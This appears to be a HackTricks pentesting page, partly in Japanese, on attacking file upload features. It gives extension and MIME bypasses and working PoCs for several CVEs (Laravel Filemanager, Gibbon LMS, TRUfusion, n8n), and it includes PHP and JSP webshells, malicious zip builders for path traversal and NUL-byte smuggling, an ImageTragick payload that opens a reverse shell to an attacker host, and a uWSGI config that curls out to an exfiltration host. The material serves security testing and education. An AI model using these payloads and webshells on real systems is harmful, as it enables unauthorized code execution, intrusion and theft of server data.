ファイルアップロード
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
ファイルアップロードの一般的な手法
その他の有用な拡張子:
- PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module
- Working in PHPv8: .php, .php4, .php5, .phtml, .module_, .inc_, .hphp_, .ctp_
- ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
- Jsp: .jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action
- Coldfusion: .cfm, .cfml, .cfc, .dbm
- Flash: .swf
- Perl: .pl, .cgi
- Erlang Yaws Web Server: .yaws
ファイル拡張子チェックのバイパス
- 該当する場合は、前述の拡張子をチェックしてください。また大文字を使ってテストすること: pHp, .pHP5, .PhAr …
- 実行可能拡張子の前に有効な拡張子を追加することを試す(前述の拡張子も使用):
- file.png.php
- file.png.Php5
- 末尾に特殊文字を追加してみる。Burpを使ってbruteforceにより全てのasciiやUnicode文字を試せる。(前述の拡張子を使って試すこともできる点に注意)
- file.php%20
- file.php%0a
- file.php%00
- file.php%0d%0a
- file.php/
- file.php.\
- file.
- file.php….
- file.pHp5….
- サーバ側の拡張子パーサを騙して保護をバイパスする(拡張子の二重付けや拡張子間にゴミデータ(nullバイト)を挿入する等の手法)。より良いペイロードを作るために前述の拡張子を使うこともできる。
- file.png.php
- file.png.pHp5
- file.php#.png
- file.php%00.png
- file.php\x00.png
- file.php%0a.png
- file.php%0d%0a.png
- file.phpJunk123png
- 先のチェックにさらに別の拡張子レイヤーを追加する:
- file.png.jpg.php
- file.php%00.png%00.jpg
- 実行用拡張子を有効な拡張子の前に置いて、サーバの誤設定を期待する(Apacheの誤設定を突く際に有用。拡張子に .php を含むものは、必ずしも .php で終わらなくてもコードが実行される場合がある):
- ex: file.php.png
- WindowsでNTFS alternate data stream (ADS)を利用する方法。この場合、禁止された拡張子の後と許可された拡張子の前にコロン “:” が挿入される。その結果、サーバ上に禁止拡張子を持つ空のファイルが作成される(例: “file.asax:.jpg”)。このファイルは短いファイル名を使うなど他の手法で後から編集される可能性がある。 “::$data” パターンを使って非空ファイルを作成することもできるため、このパターンの後にドットを追加することがさらに制限を回避するのに有用な場合がある(例: “file.asp::$data.”)
- ファイル名の長さ制限を破ってみる。正しい拡張子が切り落とされ、悪意あるPHPが残る。 AAA<–SNIP–>AAA.php
# Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Make the payload
AAA<--SNIP 232 A-->AAA.php.png
UniSharp Laravel Filemanager pre-2.9.1 (.php. trailing dot) – CVE-2024-21546
一部のアップロードハンドラは保存されるファイル名の末尾のドットをトリムまたは正規化する。UniSharp’s Laravel Filemanager (unisharp/laravel-filemanager) の2.9.1未満のバージョンでは、次の方法で拡張子検証をバイパスできる:
- 有効な画像MIMEとmagic headerを使用する(例: PNGの
\x89PNG\r\n\x1a\n)。 - アップロードファイル名をPHP拡張子の後にドットを付けて命名する(例:
shell.php.)。 - サーバは末尾のドットを取り除き
shell.phpとして保存する。これがweb配信ディレクトリに置かれると実行される(デフォルトのpublic storage 例:/storage/files/)。
Minimal PoC (Burp Repeater):
POST /profile/avatar HTTP/1.1
Host: target
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="upload"; filename="0xdf.php."
Content-Type: image/png
\x89PNG\r\n\x1a\n<?php system($_GET['cmd']??'id'); ?>
------WebKitFormBoundary--
次に保存されたパスにアクセスします(Laravel + LFMで一般的):
GET /storage/files/0xdf.php?cmd=id
Bypass Content-Type, Magic Number, Compression & Resizing
- Bypass Content-Type checks by setting the value of the Content-Type header to: image/png , text/plain , application/octet-stream
- Content-Type wordlist: https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt
- Bypass magic number check by adding at the beginning of the file the bytes of a real image (confuse the file command). Or introduce the shell inside the metadata:
exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg\or you could also introduce the payload directly in an image:echo '<?php system($_REQUEST['cmd']); ?>' >> img.png - If compressions is being added to your image, for example using some standard PHP libraries like PHP-GD, the previous techniques won’t be useful it. However, you could use the PLTE chunk technique defined here to insert some text that will survive compression.
- Github with the code
- The web page cold also be resizing the image, using for example the PHP-GD functions
imagecopyresizedorimagecopyresampled. However, you could use the IDAT chunk technique defined here to insert some text that will survive compression. - Github with the code
- Another technique to make a payload that survives an image resizing, using the PHP-GD function
thumbnailImage. However, you could use the tEXt chunk technique defined here to insert some text that will survive compression. - Github with the code
Other Tricks to check
- Find a vulnerability to rename the file already uploaded (to change the extension).
- Find a Local File Inclusion vulnerability to execute the backdoor.
- Possible Information disclosure:
- Upload several times (and at the same time) the same file with the same name
- Upload a file with the name of a file or folder that already exists
- Uploading a file with “.” , “..”, or “…” as its name. For instance, in Apache in Windows, if the application saves the uploaded files in “/www/uploads/” directory, the “.” filename will create a file called uploads” in the “/www/” directory.
- Upload a file that may not be deleted easily such as “…:.jpg” in NTFS. (Windows)
- Upload a file in Windows with invalid characters such as
|<>*?”in its name. (Windows) - Upload a file in Windows using reserved (forbidden) names such as CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9.
- Try also to upload an executable (.exe) or an .html (less suspicious) that will execute code when accidentally opened by victim.
Special extension tricks
If you are trying to upload files to a PHP server, take a look at the .htaccess trick to execute code.
If you are trying to upload files to an ASP server, take a look at the .config trick to execute code.
The .phar files are like the .jar for java, but for php, and can be used like a php file (executing it with php, or including it inside a script…)
The .inc extension is sometimes used for php files that are only used to import files, so, at some point, someone could have allow this extension to be executed.
Jetty RCE
If you can upload a XML file into a Jetty server you can obtain RCE because **new .xml and .war are automatically processed. So, as mentioned in the following image, upload the XML file to $JETTY_BASE/webapps/ and expect the shell!
.png)
uWSGI RCE
For a detailed exploration of this vulnerability check the original research: uWSGI RCE Exploitation.
Remote Command Execution (RCE) vulnerabilities can be exploited in uWSGI servers if one has the capability to modify the .ini configuration file. uWSGI configuration files leverage a specific syntax to incorporate “magic” variables, placeholders, and operators. Notably, the ‘@’ operator, utilized as @(filename), is designed to include the contents of a file. Among the various supported schemes in uWSGI, the “exec” scheme is particularly potent, allowing the reading of data from a process’s standard output. This feature can be manipulated for nefarious purposes such as Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is processed.
Consider the following example of a harmful uwsgi.ini file, showcasing various schemes:
[uwsgi]
; read from a symbol
foo = @(sym://uwsgi_funny_function)
; read from binary appended data
bar = @(data://[REDACTED])
; read from http
test = @(http://[REDACTED])
; read from a file descriptor
content = @(fd://[REDACTED])
; read from a process stdout
body = @(exec://whoami)
; curl to exfil via collaborator
extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char *
characters = @(call://uwsgi_func)
payloadの実行はconfiguration fileの解析時に発生する。configurationが有効化され解析されるには、uWSGIプロセスを再起動する(クラッシュ後やDenial of Service攻撃による可能性あり)か、ファイルをauto-reloadに設定しておく必要がある。auto-reload機能が有効な場合、変更を検出すると指定間隔でファイルを再読み込みする。
uWSGIのconfiguration fileの解析が緩い点を理解しておくことが重要だ。特に、本件で扱うpayloadはbinary file(imageやPDFなど)に埋め込むことができ、攻撃対象の範囲がさらに広がる。
Gibbon LMS arbitrary file write to pre-auth RCE (CVE-2023-45878)
Gibbon LMSの認証不要のendpointはweb root内へのarbitrary file writeを許可しており、PHP fileを配置することでpre-auth RCEにつながる。Vulnerable versions: up to and including 25.0.01。
- Endpoint:
/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php - Method: POST
- Required params:
img: data-URI-like string:[mime];[name],[base64](server ignores type/name, base64-decodes the tail)path: destination filename relative to Gibbon install dir (e.g.,poc.phpor0xdf.php)gibbonPersonID: any non-empty value is accepted (e.g.,0000000001)
Minimal PoC to write and read back a file:
# Prepare test payload
printf '0xdf was here!' | base64
# => MHhkZiB3YXMgaGVyZSEK
# Write poc.php via unauth POST
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;test,MHhkZiB3YXMgaGVyZSEK&path=poc.php&gibbonPersonID=0000000001'
# Verify write
curl http://target/Gibbon-LMS/poc.php
最小限の webshell を配置してコマンドを実行する:
# '<?php system($_GET["cmd"]); ?>' base64
# PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==
curl http://target/Gibbon-LMS/modules/Rubrics/rubrics_visualise_saveAjax.php \
-d 'img=image/png;foo,PD9waHAgIHN5c3RlbSgkX0dFVFsiY21kIl0pOyA/Pg==&path=shell.php&gibbonPersonID=0000000001'
curl 'http://target/Gibbon-LMS/shell.php?cmd=whoami'
注意:
- ハンドラは
;と,で分割した後にbase64_decode($_POST["img"])を実行し、拡張子/タイプを検証せずにバイト列を$absolutePath . '/' . $_POST['path']に書き込みます。 - 結果として実行されるコードは web サービスのユーザとして動作します(例: XAMPP Apache on Windows)。
このバグの参考資料には usd HeroLab advisory と NVD のエントリが含まれます。下の References セクションを参照してください。
wget File Upload/SSRF Trick
場合によっては、サーバが wget を使って ファイルをダウンロード しており、あなたが 指定できる URL があることがあります。こうした場合、コードはダウンロードされるファイルの拡張子がホワイトリストに含まれているかをチェックして、許可されたファイルのみがダウンロードされるようにしていることがあります。しかし、このチェックはバイパス可能です。
The maximum length of a filename in linux is 255, however, wget truncate the filenames to 236 characters. You can download a file called “A”*232+“.php”+“.gif”, this filename will bypass the check (as in this example “.gif” is a valid extension) but wget will rename the file to **“A”*232+“.php”`.
#Create file and HTTP server
echo "SOMETHING" > $(python -c 'print("A"*(236-4)+".php"+".gif")')
python3 -m http.server 9080
#Download the file
wget 127.0.0.1:9080/$(python -c 'print("A"*(236-4)+".php"+".gif")')
The name is too long, 240 chars total.
Trying to shorten...
New name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.
--2020-06-13 03:14:06-- http://127.0.0.1:9080/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php.gif
Connecting to 127.0.0.1:9080... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10 [image/gif]
Saving to: ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’
AAAAAAAAAAAAAAAAAAAAAAAAAAAAA 100%[===============================================>] 10 --.-KB/s in 0s
2020-06-13 03:14:06 (1.96 MB/s) - ‘AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.php’ saved [10/10]
Note that 別のオプションとして、このチェックを回避するために考え得るのは、HTTP serverを別のファイルにリダイレクトすることです。これにより最初のURLはチェックを通過しますが、その後wgetはリダイレクト先のファイルを新しい名前でダウンロードします。これは動作しません。wgetが--trust-server-namesというパラメータを使用している場合に限り動作します。なぜならwgetはリダイレクトされたページを元のURLで示されたファイル名でダウンロードする**からです。
Escaping upload directory via NTFS junctions (Windows)
(For this attack you will need local access to the Windows machine) Windows上でuploadsがユーザーごとのサブフォルダ(例: C:\Windows\Tasks\Uploads<id>)に保存され、かつそのサブフォルダの作成/削除をあなたが制御できる場合、該当フォルダをdirectory junctionに置き換えて機密箇所(例: the webroot)を指すようにできます。これにより、その後のuploadsはターゲットパスに書き込まれ、ターゲットがserver‑side codeを解釈する場合はcode executionを引き起こす可能性があります。
Example flow to redirect uploads into XAMPP webroot:
:: 1) Upload once to learn/confirm your per-user folder name (e.g., md5 of form fields)
:: Observe it on disk: C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
:: 2) Remove the created folder and create a junction to webroot
rmdir C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882
cmd /c mklink /J C:\Windows\Tasks\Uploads\33d81ad509ef34a2635903babb285882 C:\xampp\htdocs
:: 3) Re-upload your payload; it lands under C:\xampp\htdocs
:: Minimal PHP webshell for testing
:: <?php echo shell_exec($_REQUEST['cmd']); ?>
:: 4) Trigger
curl "http://TARGET/shell.php?cmd=whoami"
注意
- mklink /J creates an NTFS directory junction (reparse point). Webサーバーのアカウントは junction をたどり、宛先に書き込み権限を持っている必要があります。
- This redirects arbitrary file writes; if the destination executes scripts (PHP/ASP), this becomes RCE.
- Defenses: don’t allow writable upload roots to be attacker‑controllable under C:\Windows\Tasks or similar; block junction creation; validate extensions server‑side; store uploads on a separate volume or with deny‑execute ACLs.
GZIP-compressed body upload + path traversal in destination param → JSP webshell RCE (Tomcat)
一部の upload/ingest ハンドラは、生のリクエストボディをユーザー制御のクエリパラメータから構築したファイルシステムパスへ書き込みます。ハンドラが Content-Encoding: gzip をサポートし、宛先パスを正規化/検証しない場合、directory traversal と gzipped ペイロードを組み合わせて、web-served なディレクトリに任意のバイトを書き込み RCE を取得できます(例: Tomcat の webapps に JSP を置く)。
一般的な悪用フロー:
- サーバー側のペイロード(例: 最小限の JSP webshell)を用意し、バイト列を gzip 圧縮する。
- パスパラメータ(例: token)に意図したフォルダを抜ける traversal を含め、file が保存するファイル名を指すような POST を送信する。Content-Type: application/octet-stream と Content-Encoding: gzip を設定し、ボディに圧縮済みペイロードを入れる。
- 書き込まれたファイルにブラウズして実行を誘発する。
Illustrative request:
POST /fileupload?token=..%2f..%2f..%2f..%2fopt%2ftomcat%2fwebapps%2fROOT%2Fjsp%2F&file=shell.jsp HTTP/1.1
Host: target
Content-Type: application/octet-stream
Content-Encoding: gzip
Content-Length: <len>
<gzip-compressed-bytes-of-your-jsp>
次にトリガー:
GET /jsp/shell.jsp?cmd=id HTTP/1.1
Host: target
注意
- ターゲットのパスはインストールによって異なります(例: /opt/TRUfusion/web/tomcat/webapps/trufusionPortal/jsp/ のようなスタックもあります)。JSP を実行する任意の web-exposed フォルダが動作します。
- Burp Suite’s Hackvertor extension はペイロードから正しい gzip ボディを生成できます。
- これは純粋な pre-auth arbitrary file write → RCE パターンです;multipart parsing に依存しません。
緩和策
- アップロード先はサーバー側で決定し、クライアントからのパス断片を決して信用しない。
- 解決されたパスが許可されたベースディレクトリ内に収まるよう正規化し、それを強制する。
- アップロードは実行不可能なボリュームに保存し、書き込み可能なパスからのスクリプト実行を拒否する。
ツール
- Upload Bypass はファイルアップロード機構のテストを支援するために設計された強力なツールです。Pentesters や Bug Hunters を助けるために様々な bug bounty テクニックを活用し、ウェブアプリケーションの評価を容易にします。
Corrupting upload indices with snprintf quirks (historical)
一部のレガシーなアップロードハンドラは snprintf() 等を使って単一ファイルのアップロードからマルチファイル配列を構築しており、_FILES 構造の偽造を引き起こすように騙すことができます。snprintf() の挙動における不整合や切り捨てのため、巧妙に作られた単一のアップロードがサーバー側では複数のインデックス付きファイルとして現れることがあり、厳密な形状を仮定するロジック(例: マルチファイルアップロードとして扱い安全でない分岐を取る)が混乱します。今日ではニッチですが、この “index corruption” パターンは時折 CTF や古いコードベースで再出現します。
File upload から他の脆弱性へ
- filename を
../../../tmp/lol.pngに設定して path traversal を試みる - filename を
sleep(10)-- -.jpgに設定すると SQL injection を達成できる可能性がある - filename を
<svg onload=alert(document.domain)>に設定して XSS を引き起こす - filename を
; sleep 10;に設定していくつかのコマンドインジェクションをテストする(詳細は command injections tricks here) - XSS in image (svg) file upload
- JS file upload + XSS = Service Workers exploitation
- XXE in svg upload
- Open Redirect via uploading svg file
- Try different svg payloads from https://github.com/allanlw/svg-cheatsheet
- Famous ImageTrick vulnerability
- If you can indicate the web server to catch an image from a URL you could try to abuse a SSRF. If this image is going to be saved in some public site, you could also indicate a URL from https://iplogger.org/invisible/ and steal information of every visitor.
- XXE and CORS bypass with PDF-Adobe upload
- Specially crafted PDFs to XSS: The following page present how to inject PDF data to obtain JS execution. If you can upload PDFs you could prepare some PDF that will execute arbitrary JS following the given indications.
- Upload the [eicar](https://secure.eicar.org/eicar.com.txt) content to check if the server has any antivirus
- アップロード時にファイルサイズの 制限 があるか確認する
Here’s a top 10 list of things that you can achieve by uploading (from here):
- ASP / ASPX / PHP5 / PHP / PHP3: Webshell / RCE
- SVG: Stored XSS / SSRF / XXE
- GIF: Stored XSS / SSRF
- CSV: CSV injection
- XML: XXE
- AVI: LFI / SSRF
- HTML / JS : HTML injection / XSS / Open redirect
- PNG / JPEG: Pixel flood attack (DoS)
- ZIP: RCE via LFI / DoS
- PDF / PPTX: SSRF / BLIND XXE
Burp Extension
GitHub - PortSwigger/upload-scanner: HTTP file upload scanner for Burp Proxy
Magic Header Bytes
- PNG:
"\x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\x s0\x03[" - JPG:
"\xff\xd8\xff"
Refer to https://en.wikipedia.org/wiki/List_of_file_signatures for other filetypes.
Zip/Tar File Automatically decompressed Upload
サーバー内で解凍される ZIP をアップロードできる場合、2つのことが可能です:
Symlink
他のファイルへのシンボリックリンクを含むリンクをアップロードし、解凍されたファイルにアクセスするとリンク先のファイルへアクセスすることができます:
ln -s ../../../index.php symindex.txt
zip --symlinks test.zip symindex.txt
tar -cvf test.tar symindex.txt
異なるフォルダに解凍
解凍時にディレクトリ内に予期せずファイルが作成される問題は重大です。当初、この構成が悪意あるファイルのアップロードによるOSレベルのコマンド実行を防ぐと想定されていても、ZIPアーカイブ形式の階層的な圧縮サポートとdirectory traversalの能力は悪用可能です。これにより、攻撃者は対象アプリケーションの解凍機能を操作して制限を回避し、安全なアップロードディレクトリから脱出できます。
そのようなファイルを作成する自動化されたエクスプロイトはevilarc on GitHubで入手できます。ユーティリティは次のように使用できます:
# Listing available options
python2 evilarc.py -h
# Creating a malicious archive
python2 evilarc.py -o unix -d 5 -p /var/www/html/ rev.php
さらに、symlink trick with evilarc はオプションです。目的が /flag.txt のようなファイルをターゲットにすることであれば、そのファイルへの symlink をシステム上に作成するべきです。これにより evilarc が動作中にエラーを起こさないことが保証されます。
以下は、悪意のある zip ファイルを作成するために使用される Python コードの例です:
#!/usr/bin/python
import zipfile
from io import BytesIO
def create_zip():
f = BytesIO()
z = zipfile.ZipFile(f, 'w', zipfile.ZIP_DEFLATED)
z.writestr('../../../../../var/www/html/webserver/shell.php', '<?php echo system($_REQUEST["cmd"]); ?>')
z.writestr('otherfile.xml', 'Content of the file')
z.close()
zip = open('poc.zip','wb')
zip.write(f.getvalue())
zip.close()
create_zip()
圧縮を悪用した file spraying
詳細は元の投稿を参照してください: https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/
- Creating a PHP Shell: PHPコードは、
$_REQUEST変数を通じて渡されるコマンドを実行するように記述されます。
<?php
if(isset($_REQUEST['cmd'])){
$cmd = ($_REQUEST['cmd']);
system($cmd);
}?>
- File Spraying and Compressed File Creation: 複数のファイルが作成され、それらを含む zip アーカイブが組み立てられます。
root@s2crew:/tmp# for i in `seq 1 10`;do FILE=$FILE"xxA"; cp simple-backdoor.php $FILE"cmd.php";done
root@s2crew:/tmp# zip cmd.zip xx*.php
- Modification with a Hex Editor or vi: zip 内のファイル名を vi や hex editor で変更し、“xxA” を “../” に置換してディレクトリを横断します。
:set modifiable
:%s/xxA/../g
:x!
ZIP NUL-byte filename smuggling (PHP ZipArchive confusion)
バックエンドが ZIP エントリを PHP の ZipArchive で検証する一方、抽出処理がファイルシステムに raw names で書き込む場合、filename フィールドに NUL (0x00) を挿入することで許可されていない拡張子を紛れ込ませることができます。ZipArchive はエントリ名を C‑string として扱い、最初の NUL で切り詰めます;一方でファイルシステムは NUL の後ろを削った完全な名前を書き込みます。
High-level flow:
- 正当なコンテナファイル(例: 有効な PDF)を用意し、ストリーム内に小さな PHP stub を埋め込んで magic/MIME が PDF のままになるようにする。
- 例えば
shell.php..pdfと命名して zip にし、ZIP の local header と central directory の filename を hex‑edit して.phpの直後の最初の.を0x00に置き換える。結果としてshell.php\x00.pdfとなる。 - ZipArchive に依存するバリデータは
shell.php .pdfを「見る」ため許可し、抽出処理はshell.phpをディスクに書き込む。アップロードフォルダが実行可能であれば RCE に繋がる。
Minimal PoC steps:
# 1) Build a polyglot PDF containing a tiny webshell (still a valid PDF)
printf '%s' "%PDF-1.3\n1 0 obj<<>>stream\n<?php system($_REQUEST["cmd"]); ?>\nendstream\nendobj\n%%EOF" > embedded.pdf
# 2) Trick name and zip
cp embedded.pdf shell.php..pdf
zip null.zip shell.php..pdf
# 3) Hex-edit both the local header and central directory filename fields
# Replace the dot right after ".php" with 00 (NUL) => shell.php\x00.pdf
# Tools: hexcurse, bless, bvi, wxHexEditor, etc.
# 4) Local validation behavior
php -r '$z=new ZipArchive; $z->open("null.zip"); echo $z->getNameIndex(0),"\n";'
# -> shows truncated at NUL (looks like ".pdf" suffix)
注意
- 両方のファイル名の出現箇所(ローカルと central directory)を変更する。ツールによっては追加の data descriptor エントリを加えるものもある — 存在する場合はすべての name フィールドを調整する。
- ペイロードファイルはサーバー側の magic/MIME スニッフィングを通過する必要がある。PDF ストリーム内に PHP を埋め込むとヘッダを有効なまま維持できる。
- enum/validation パスと extraction/write パスで文字列処理が不一致になる場合に機能する。
スタック/連結された ZIPs(パーサの不一致)
2つの有効な ZIP ファイルを連結すると、異なるパーサが異なる EOCD レコードに注目するようなバイナリが生成される。多くのツールは最後の End Of Central Directory (EOCD) を検出する一方で、いくつかのライブラリ(例: ZipArchive が特定のワークフローで)は最初に見つけたアーカイブを解析することがある。検証が最初のアーカイブを列挙し、抽出が最後の EOCD を尊重する別のツールを使うと、良性のアーカイブはチェックを通過する一方で、悪意のあるアーカイブが抽出される。
PoC:
# Build two separate archives
printf test > t1; printf test2 > t2
zip zip1.zip t1; zip zip2.zip t2
# Stack them
cat zip1.zip zip2.zip > combo.zip
# Different views
unzip -l combo.zip # warns about extra bytes; often lists entries from the last archive
php -r '$z=new ZipArchive; $z->open("combo.zip"); for($i=0;$i<$z->numFiles;$i++) echo $z->getNameIndex($i),"\n";'
Abuse pattern
- 許可されたタイプ(例: PDF)の無害なアーカイブを1つ作成し、ブロックされた拡張子(例:
shell.php)を含む別のアーカイブを作成する。 - それらを連結する:
cat benign.zip evil.zip > combined.zip. - サーバがあるパーサで検証(benign.zip を確認)し、別のパーサで抽出(evil.zip を処理)する場合、ブロックされたファイルが抽出先パスに配置される。
ImageTragic
この内容を画像拡張子でアップロードして脆弱性を悪用する (ImageMagick , 7.0.1-1) (exploit から)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context
PNGへのPHP Shell埋め込み
PNGファイルのIDATチャンクにPHP Shellを埋め込むことで、特定の画像処理を効果的に回避できます。PHP-GDのimagecopyresizedおよびimagecopyresampled関数は、それぞれ画像のリサイズと再サンプリングに一般的に使用されるため、この文脈で特に重要です。埋め込まれたPHP Shellがこれらの操作によって影響を受けない点は、特定のユースケースで大きな利点となります。
この手法の手順や応用例を含む詳細な解説は次の記事にあります: “Encoding Web Shells in PNG IDAT chunks”。このリソースはプロセスとその影響を包括的に理解するのに役立ちます。
詳細はこちら: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
ポリグロットファイル
ポリグロットファイルは、複数のファイル形式として同時に有効に存在できるカメレオンのようなツールです。興味深い例としてGIFARがあり、これはGIFとRARアーカイブの両方として機能するハイブリッドです。この種のファイルはこの組み合わせに限らず、GIFとJSやPPTとJSのような組み合わせも可能です。
ポリグロットファイルの主な利点は、ファイルタイプに基づいてスクリーニングするセキュリティ対策を回避できる点にあります。多くのアプリケーションでは、潜在的に有害なフォーマット(例: JS、PHP、Phar)によるリスクを軽減するために、JPEG、GIF、DOCなど特定のファイルタイプのみをアップロード許可するのが一般的です。しかし、ポリグロットは複数のファイルタイプの構造的条件を満たすことで、こうした制限をひそかに回避できます。
その適応性にもかかわらず、ポリグロットには限界があります。例えば、ポリグロットがPHARファイル (PHp ARchive) とJPEGを同時に内包していても、アップロードの成功はプラットフォームのファイル拡張子ポリシーによって左右される場合があります。システムが許可される拡張子に対して厳格であれば、構造的に二重の性質を持つだけではアップロードが保証されないことがあります。
詳細はこちら: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
PDFのように見せかけて有効なJSONをアップロードする
許可されていない環境でも、有効なJSONファイルをPDFに偽装してアップロードすることでファイルタイプ検出を回避する方法(テクニックは this blog post より):
mmmagiclibrary: 最初の1024バイト内に%PDFのマジックバイトが入っていれば有効(例は記事参照)pdfliblibrary: JSONのフィールド内に偽のPDFフォーマットを追加して、ライブラリにPDFだと思わせる(例は記事参照)filebinary: ファイルから最大1048576バイトまで読み取れます。これより大きなJSONを作成して内容がJSONとして解析できないようにし、JSON内部に実際のPDFの冒頭部分を入れれば、PDFだと判定されます
Content-Typeの混乱による任意ファイル読み取り
一部のアップロードハンドラは、解析されたリクエストボディを信頼して(例: context.getBodyData().files)、最初にContent-Type: multipart/form-dataを強制することなく後でfile.filepathからファイルをコピーします。サーバがapplication/jsonを受け入れる場合、filepathを任意のローカルパスを指す偽のfilesオブジェクトを渡すことで、アップロード処理を任意ファイル読み取りのプリミティブに変えることができます。
HTTPレスポンスでアップロードされたバイナリを返すフォームワークフローへのPOSTの例:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
バックエンドは file.filepath をコピーするため、レスポンスはそのパスの内容を返します。一般的なチェーン: /proc/self/environ を読み $HOME を取得し、次に $HOME/.n8n/config でキーを、$HOME/.n8n/database.sqlite でユーザ識別子を取得します。
参考資料
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
